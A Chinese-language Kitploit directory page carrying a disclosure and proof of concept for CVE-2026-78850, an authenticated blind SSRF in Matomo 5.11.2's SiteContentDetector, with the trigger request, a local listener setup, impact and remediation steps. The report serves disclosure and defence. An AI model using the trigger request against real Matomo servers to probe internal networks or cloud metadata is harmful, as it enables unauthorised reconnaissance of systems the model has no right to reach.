Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-78850 — 概念验证,演示了 Matomo 的 SiteContentDetector 中存在的一个已认证盲 SSRF 漏洞,该漏洞允许通过精心构造的站点 URL 进行内网侦察并向内部服务发起请求。 | Kitploit
工具/GitHubGitHub/slo-cyber-sec/cve-2026-78850
侦察漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubslo-cyber-sec/cve-2026-78850

CVE-2026-78850

概念验证,演示了 Matomo 的 SiteContentDetector 中存在的一个已认证盲 SSRF 漏洞,该漏洞允许通过精心构造的站点 URL 进行内网侦察并向内部服务发起请求。

查看仓库
202个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Matomo 认证 SiteContentDetector 盲 SSRF

报告者

姓名: CYBER-SEC
联系方式: [email protected]

摘要

Matomo 允许经过认证的站点管理员将站点的 main_url 配置为内部地址。任何具有查看权限的认证用户之后都可以触发 getTrackingMethodsForSite,导致服务器向配置的 URL 发起盲 HTTP 请求。

目标地址仅通过基于主机名的防护进行验证,并且在解析后未能正确拒绝环回地址、RFC1918 地址或链路本地地址。因此,该应用程序可能被滥用,以对内部服务执行盲服务器端请求。

受影响产品

产品: Matomo
受影响版本: 已验证 5.11.2
组件: SiteContentDetector / SitesManager

CWE

  • CWE-918:服务器端请求伪造(SSRF)

CVSS v3.1

向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
基础评分: 5.8 中等

攻击要求

  • 必须启用 enable_internet_features。
  • 需要经过认证的站点管理员来设置站点的 main_url。
  • 具有查看权限的认证用户可以触发服务器端请求。
  • 攻击者必须能够通过受控的监听器或侧信道观察盲请求。

技术细节

该问题涉及以下流程:

root@kitploit:~
来源:
SitesManager.updateSite 在基本 URL 验证后存储 main_url。

触发:
GET /index.php?module=SitesManager&action=getTrackingMethodsForSite&idSite=<id>

汇聚点:
SiteContentDetector::requestSiteResponse()
  -> Http::sendHttpRequestBy()

该实现未能正确拒绝内部目标地址,例如:

root@kitploit:~
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1
fc00::/7
fe80::/10

重定向目标也应重新验证,因为如果最初允许的主机名重定向到内部地址,基于主机名的过滤可能被绕过。

概念验证

1. 启动受控的内部监听器

在授权的实验室环境中使用您控制的监听器:

root@kitploit:~
python3 -m http.server 8088

2. 配置 Matomo 站点 URL

作为经过认证的站点管理员,将站点的 main_url 配置为指向受控的内部监听器:

root@kitploit:~
http://<受控内部监听器>:8088/ssrf-test

除非您拥有该环境并获授权进行测试,否则不要针对第三方系统或云元数据端点进行测试。

3. 触发 SiteContentDetector

作为具有查看权限的认证用户,触发:

root@kitploit:~
GET /index.php?module=SitesManager&action=getTrackingMethodsForSite&idSite=1

4. 观察盲请求

受控监听器会收到来自 Matomo 服务器的服务器端 HTTP 请求。

示例监听器输出:

root@kitploit:~
GET /ssrf-test HTTP/1.1
Host: <受控内部监听器>:8088
User-Agent: Matomo

观察到的行为

当触发 getTrackingMethodsForSite 时,Matomo 会向配置的 main_url 发起服务器端 GET 请求。

这是通过一个外部无法访问的内部环回/内部 HTTP 监听器验证的,确认了盲 SSRF 行为。

影响

经过认证的攻击者可能滥用此行为进行:

  • 对内部服务的盲访问。
  • 内部网络侦察。
  • 与绑定到环回或私有接口的服务进行交互。
  • 在受影响的部署中向云元数据服务发起请求。
  • 基于重定向绕过仅主机名防护。

由于 SSRF 是盲的,攻击者不会直接通过 Matomo 收到 HTTP 响应正文。然而,仅请求投递本身在内部网络和云环境中仍可能具有安全意义。

修复建议

建议的修复措施:

  1. 在发起请求之前将主机名解析为 IP 地址。

  2. 在 DNS 解析后拒绝私有、环回、链路本地、组播以及其他不安全的 IP 范围。

  3. 在跟随重定向前重新验证每个重定向目标。

  4. 优先使用严格的允许出站域名白名单,而不是主机名黑名单。

  5. 在最终的 HTTP 请求汇聚点一致地应用 SSRF 防护,而不仅仅是在站点 URL 配置期间。

  6. 考虑将 getTrackingMethodsForSite 或 SiteContentDetector 的触发限制为更高权限的用户。

  7. 为由站点配置触发的出站服务器端请求添加审计日志。

发现过程

已针对官方 Matomo 5.11.2 Docker 镜像进行验证,未修改源代码。

披露

此问题由 CYBER-SEC 报告。

参考

  • https://github.com/matomo-org/matomo
  • https://matomo.org/
  • https://cwe.mitre.org/data/definitions/918.html
下载工具